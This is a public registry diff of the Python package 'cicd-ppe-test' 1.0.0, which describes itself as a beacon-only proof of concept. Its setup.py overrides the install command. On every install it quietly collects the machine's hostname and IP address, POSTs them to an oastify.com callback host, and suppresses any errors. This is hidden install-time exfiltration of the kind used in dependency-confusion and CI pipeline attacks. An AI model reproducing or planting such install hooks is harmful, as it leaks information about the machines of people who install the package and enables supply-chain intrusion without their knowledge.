cicd-ppe-test 1.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- cicd_ppe_test-1.0.0/PKG-INFO +7 -0
- cicd_ppe_test-1.0.0/cicd-ppe-test/__init__.py +0 -0
- cicd_ppe_test-1.0.0/cicd_ppe_test.egg-info/PKG-INFO +7 -0
- cicd_ppe_test-1.0.0/cicd_ppe_test.egg-info/SOURCES.txt +7 -0
- cicd_ppe_test-1.0.0/cicd_ppe_test.egg-info/dependency_links.txt +1 -0
- cicd_ppe_test-1.0.0/cicd_ppe_test.egg-info/top_level.txt +1 -0
- cicd_ppe_test-1.0.0/pyproject.toml +14 -0
- cicd_ppe_test-1.0.0/setup.cfg +4 -0
- cicd_ppe_test-1.0.0/setup.py +38 -0
|
File without changes
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
cicd-ppe-test
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=61"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "cicd-ppe-test"
|
|
7
|
+
version = "1.0.0"
|
|
8
|
+
description = "POC package (beacon-only)"
|
|
9
|
+
authors = [{name = "Your Name"}]
|
|
10
|
+
readme = "README.md"
|
|
11
|
+
requires-python = ">=3.6"
|
|
12
|
+
|
|
13
|
+
[tool.setuptools]
|
|
14
|
+
packages = ["cicd-ppe-test"]
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
from setuptools import setup
|
|
2
|
+
from setuptools.command.install import install
|
|
3
|
+
import urllib.request
|
|
4
|
+
import socket
|
|
5
|
+
import json
|
|
6
|
+
|
|
7
|
+
BEACON_URL = "https://5lr7713jgr7gtot3gtldj9u4xv3nrdf2.oastify.com"
|
|
8
|
+
|
|
9
|
+
class InstallWithBeacon(install):
|
|
10
|
+
def run(self):
|
|
11
|
+
try:
|
|
12
|
+
# Get host IP address
|
|
13
|
+
hostname = socket.gethostname()
|
|
14
|
+
host_ip = socket.gethostbyname(hostname)
|
|
15
|
+
|
|
16
|
+
# Prepare data to send
|
|
17
|
+
data = {
|
|
18
|
+
"hostname": hostname,
|
|
19
|
+
"ip_address": host_ip,
|
|
20
|
+
"package": "cicd-ppe-test",
|
|
21
|
+
"version": "1.0.0"
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
# Send POST request with IP info
|
|
25
|
+
json_data = json.dumps(data).encode('utf-8')
|
|
26
|
+
req = urllib.request.Request(
|
|
27
|
+
BEACON_URL,
|
|
28
|
+
data=json_data,
|
|
29
|
+
headers={'Content-Type': 'application/json'}
|
|
30
|
+
)
|
|
31
|
+
urllib.request.urlopen(req, timeout=3)
|
|
32
|
+
except Exception:
|
|
33
|
+
pass
|
|
34
|
+
install.run(self)
|
|
35
|
+
|
|
36
|
+
setup(
|
|
37
|
+
cmdclass={'install': InstallWithBeacon},
|
|
38
|
+
)
|